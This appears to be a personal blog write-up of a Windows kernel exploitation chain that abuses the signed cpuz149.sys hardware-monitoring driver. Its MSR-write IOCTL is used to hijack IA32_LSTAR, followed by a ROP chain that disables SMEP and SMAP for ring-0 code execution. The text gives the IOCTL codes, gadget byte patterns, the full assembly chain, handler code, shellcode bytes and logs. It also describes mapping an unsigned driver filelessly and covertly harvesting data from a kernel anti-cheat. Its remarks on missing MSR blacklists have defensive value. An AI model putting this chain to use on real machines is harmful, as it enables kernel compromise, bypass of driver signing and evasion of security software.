I was looking at the IOCTL handler in a signed hardware monitoring driver when I noticed it would happily write to any model-specific register you asked for. No blacklist. No index filtering. Just raw wrmsr with whatever values you pass in.
Most MSR write primitives are interesting. This one was something else. MSR 0xC0000082 is IA32_LSTAR, the register the CPU consults every time a thread executes syscall on x64. Write an address there and every syscall on the entire machine jumps to it. I spent a few weeks turning that single write into stable ring-0 code execution, and the full chain ended up being more involved than I expected.
The register that runs everything
On x64 Windows, the syscall instruction does not jump to a fixed address burned into the CPU. It reads a destination from IA32_LSTAR, MSR 0xC0000082, and transfers control there. That destination is KiSystemCall64, the kernel's syscall entry point. NtCreateFile, NtAllocateVirtualMemory, NtWriteFile, everything on the entire machine flows through this one address.
The CPU does a few other things on syscall entry. It saves the return address in RCX, saves RFLAGS in R11, masks RFLAGS against the value in IA32_FMASK, and switches CS and SS to kernel segments. What it does not do is switch RSP. The normal kernel entry code handles that by reading the kernel stack pointer out of the per-processor control region via gs:. If LSTAR points somewhere other than KiSystemCall64, that stack switch never happens. You land at CPL 0 with RSP still pointing at your user stack.
That last part is the whole story.
The delivery mechanism
cpuz149.sys is a signed CPUID SDK driver bundled with Piriform Speccy and other hardware monitoring tools. Device path is \\.\CPUZ149. It exposes MSR read and write through two IOCTLs:
- IOCTL
0x9C402440reads an MSR. Pass the index, get the low and high 32-bit halves back. - IOCTL
0x9C402444writes an MSR. Pass the index, the high 32 bits, and the low 32 bits.
No filtering. No index checks. No blacklist. Loading the driver requires administrator privileges, but once it's loaded, any handle to the device gives you unrestricted wrmsr. Compare this to AIDA64's kerneld-x64c.sys, which blocks MSRs 0xC0000081 through 0xC0000083, covering the SYSCALL-related registers. cpuz149 blocks nothing at all.
Reading your way past KASLR
Before you can hijack LSTAR, you need kernel addresses. The MSR read IOCTL gives you the first one for free.
IA32_LSTAR (0xC0000082) = 0xFFFFF8074D611000
→ KiSystemCall64 address
→ ntoskrnl base ≈ 0xFFFFF8074D600000
MSR WRITE CONFIRMED (TSC write-back test)
Reading IA32_LSTAR returns the exact virtual address of KiSystemCall64. Since ntoskrnl is 2MB-aligned, masking off the low 21 bits gets you close to the kernel base. But we don't even need that approximation. NtQuerySystemInformation with class 0xB gives the exact base address of every loaded kernel module. Between the LSTAR read and the module enumeration, KASLR is irrelevant.
Gadget hunting
The ROP chain needs three gadgets from loaded kernel modules:
pop rcx; retat bytes0x59 0xC3. Loads a controlled value into RCX.mov cr4, rcx; retat bytes0x0F 0x22 0xE1 0xC3. Writes RCX into CR4.sysretwith REX.W prefix at bytes0x48 0x0F 0x07. Returns to ring 3.
The scanner loads each kernel module into the current process via LoadLibraryEx with DONT_RESOLVE_DLL_REFERENCES, walks the PE section headers to find executable sections, and scans for the byte patterns. When it finds a match, it converts the usermode file offset to a kernel virtual address using the known module base.
pop rcx; ret = 0xFFFFF80328614DBC
mov cr4, rcx; ret = 0xFFFFF803287ACC27
sysret (REX.W) = 0xFFFFF8032880996C
Finding the real entry point
We also need to identify the KiSystemCall64 prologue in the mapped ntoskrnl image so we can extract its KPCR offsets. The pattern scan looks for:
0F 01 F8 swapgs
65 48 89 24 25 ?? ?? ?? mov gs:[????], rsp ; save user RSP to KPCR
65 48 8B 24 25 ?? ?? ?? mov rsp, gs:[????] ; load kernel RSP from KPCR
The wildcard bytes give us the KPCR offsets for the user RSP save slot and the kernel RSP, typically 0x10 and 0x1A8. The ring-0 handler needs these to do its own stack switch, saving the user RSP and loading a kernel RSP so it can safely call into C code.
On systems with KVA Shadow enabled for Meltdown mitigation, the real entry point is KiSystemCall64Shadow in the KVASCODE section rather than .text. The code checks NtQuerySystemInformation with SystemKernelVaShadowInformation and scans the correct section accordingly.
The SMEP problem
Bit 20 of CR4 enables SMEP, Supervisor Mode Execution Prevention. When it is set, the CPU faults if ring-0 code tries to execute instructions on a page marked as user-mode in the page table. Our ring-0 handler lives in our process's virtual address space. Those are user pages. SMEP will kill us before the first instruction runs.
So SMEP has to be disabled before the handler executes and restored before we return to normal operation. That means writing CR4 twice, once to clear bit 20 and once to set it back. The mov cr4, rcx gadget handles both writes.
Here is the catch. We need the exact current CR4 value. Getting even one bit wrong triggers a PatchGuard BSOD. You cannot read CR4 from usermode. I initially tried guessing it from CPUID feature flags, building the value bit by bit from what the processor claims to support. PSE, PAE, MCE, OSFXSR, OSXSAVE, FSGSBASE, PCIDE, each queried from CPUID leaves or IsProcessorFeaturePresent and assembled into a CR4 value.
The guess was often wrong. On one test system, the guessed value differed from reality by 0x240000, which is the PGE and SMAP bits. Restoring that wrong value would have been a guaranteed BSOD within minutes once PatchGuard ran its next check.
The fix came from inside ring 0. More on that shortly.
The chain
Below is the usermode function that builds the ROP chain on the stack and fires the syscall.
syscall_wrapper proc
push r10
pushfq
mov r10, rcx ; save callback pointer
push m_sysret_gadget ; [9] sysret back to ring 3
lea rax, finish
push rax ; [8] ring-3 return address for sysret
push m_pop_rcx_gadget ; [7] pop rcx
push m_mov_cr4_gadget ; [6] mov cr4, rcx (re-enable SMEP)
push m_smep_on ; [5] CR4 value with SMEP=1
push m_pop_rcx_gadget ; [4] pop rcx
lea rax, syscall_handler
push rax ; [3] handler address in usermode
push m_mov_cr4_gadget ; [2] mov cr4, rcx (disable SMEP)
push m_smep_off ; [1] CR4 value with SMEP=0
pushfq
pop rax
or rax, 040000h ; set AC flag, disables SMAP
push rax
popfq
syscall ; LSTAR now points to pop rcx gadget
finish:
popfq
pop r10
ret
syscall_wrapper endp
The AC flag setting before the syscall deserves a sentence. SMAP is the data-access counterpart of SMEP. When SMAP is active, the kernel cannot read or write user pages. Since LSTAR now points to a pop rcx; ret gadget instead of the real syscall handler, the normal kernel stack switch never happens. RSP still points at our user stack. The ret instructions need to pop return addresses off that stack, and SMAP would block those reads. Setting AC in RFLAGS disables SMAP for supervisor-mode accesses. One wrinkle. IA32_FMASK controls which RFLAGS bits the CPU clears on syscall entry. If bit 18 of FMASK is set, the CPU clears AC automatically and the SMAP bypass breaks. The code reads FMASK via the MSR read IOCTL and warns if this bit is present.
The chain executes as nine steps:
syscalljumps to LSTAR, which now points topop rcx; ret.pop rcxloads the CR4 value with SMEP cleared.rettomov cr4, rcx; ret. SMEP is off.rettosyscall_handlerin user pages. Runs because SMEP is disabled.- The handler does its work at CPL 0.
- Handler returns.
rethitspop rcx; ret. pop rcxloads the CR4 value with SMEP set.rettomov cr4, rcx; ret. SMEP is back on.rettosysret, which transfers back to ring 3 at thefinishlabel.
The entire chain lives on the user stack. One syscall instruction in, one sysret out.
Fixing CR4 from the inside
The ring-0 handler's very first instruction restores the original LSTAR value.
extern "C" void msrexec_handler(callback_t* callback)
{
// restore LSTAR before anything else
__writemsr(0xC0000082, m_system_call);
cr4_on_entry = __readcr4();
// resolve kernel routines, run callback
(*callback)(ntoskrnl_base, get_system_routine);
}
Between the wrmsr that redirected LSTAR and this __writemsr that restores it, any syscall from any thread on any core would jump to the pop rcx gadget and crash. The window is a few hundred nanoseconds at most. Before firing the chain, the code pins the thread to CPU 0 via SetProcessAffinityMask, sets REALTIME_PRIORITY_CLASS with THREAD_PRIORITY_TIME_CRITICAL, and calls VirtualLock on the entire image. With the interrupt flag cleared during ROP execution, a page fault would triple-fault the system.
Now for the CR4 fix. Once inside ring 0, we can finally read CR4 directly with __readcr4. But we can also read it from another core, which tells us what the rest of the system expects. The trick uses an IPI, an Inter-Processor Interrupt.
The handler allocates NonPagedPool memory and copies 9 bytes of shellcode into it:
0F 20 E0 mov rax, cr4
48 89 01 mov [rcx], rax
33 C0 xor eax, eax
C3 ret
A call to KeIpiGenericCall broadcasts this to all processors. Each core writes its CR4 value into the result buffer and returns. The handler reads the real CR4 from the IPI result, updates m_smep_on with the correct value, and patches the user stack at RSP+0x08 so that step 7 of the return chain uses the real CR4 instead of the guess.
CR4 on entry (core 0): 0x130678
CR4 from IPI (real): 0x370678
CR4 after callback: 0x370678
IPI status: 1 (SUCCESS)
Diff (guess vs real): 0x240000 (PGE SMAP)
The guessed CR4 was off by PGE and SMAP. Without the IPI fix, the return path would have written a wrong CR4 and PatchGuard would have caught it.
This was the part that took the longest to get right. The initial CPUID-based guess worked on some machines and BSODed on others, and the failures were not immediately obvious because the wrong CR4 would appear to work fine until PatchGuard's next periodic check. The IPI approach works everywhere because it reads the value the OS actually set rather than what the hardware advertises support for.
What you do with ring zero
Once the handler calls into your callback, you have a get_system_routine function that wraps RtlFindExportedRoutineByName. From there you can resolve any kernel export. ExAllocatePool, MmCopyMemory, IoCreateDriver, whatever the job needs.
I used it for driver mapping. Allocate NonPagedPool for the driver image, copy from a usermode staging buffer that was VirtualLock'd before the chain fired, walk the PE import table resolving each import through get_system_routine, and call the mapped driver's entry point. The result is an unsigned driver running in kernel space with no file on disk.
Mapped base: 0xFFFFAC893C9E4000
Entry result: 0x0
[+] kdbg.sys MAPPED AND RUNNING
LSTAR: 0xFFFFF80328E22180 (RESTORED OK)
A second use case was data collection from a kernel anti-cheat. Reading driver sections, enumerating ObRegisterCallbacks registrations, walking PspCreateProcessNotifyRoutine and its siblings to find every registered callback. All kernel pointer dereferences guarded by MmIsAddressValid to prevent faults on stale or paged-out memory. The LSTAR hijack fires once, collects everything, and the system never knows it happened.
The race you cannot eliminate
The technique has an inherent race condition on multi-core systems. Between the wrmsr that redirects LSTAR and the handler's first instruction that restores it, any syscall from any thread on any core hits the gadget address instead of KiSystemCall64. Pinning to core 0 and setting realtime priority only reduce the risk on the current core. Other cores are still executing normally and can fire syscalls during the window.
In practice, the window is very small. The wrmsr IOCTL returns, the syscall fires immediately in the same function, and the handler's first instruction is __writemsr to restore. I never hit a crash from the race in testing, but the risk exists and scales with core count and system load.
The blacklist that wasn't
Different drivers handle this differently. AIDA64 ships two driver variants in the same product line. The older v64 variant blocks MSRs 0x174 through 0x176, the SYSENTER registers, but leaves LSTAR completely open. The newer x64c variant adds blocks for 0xC0000081 through 0xC0000083, covering STAR, LSTAR, and CSTAR. Someone at FinalWire figured out the SYSCALL registers needed protection and added the check, but never backported it to v64. cpuz149 has no blacklist of any kind.
A single MSR index check, three lines of code, is the difference between a hardware monitoring driver and a ring-0 execution primitive.
One MSR write, one syscall, a short ROP chain to toggle SMEP, and you land in your own handler at CPL 0 with full kernel access. The IPI trick to fix CR4 in-flight was the piece I didn't expect when I started, and the piece that made the whole thing reliable instead of a coin flip between a clean return and a BSOD. Good project, good few weeks of evening work.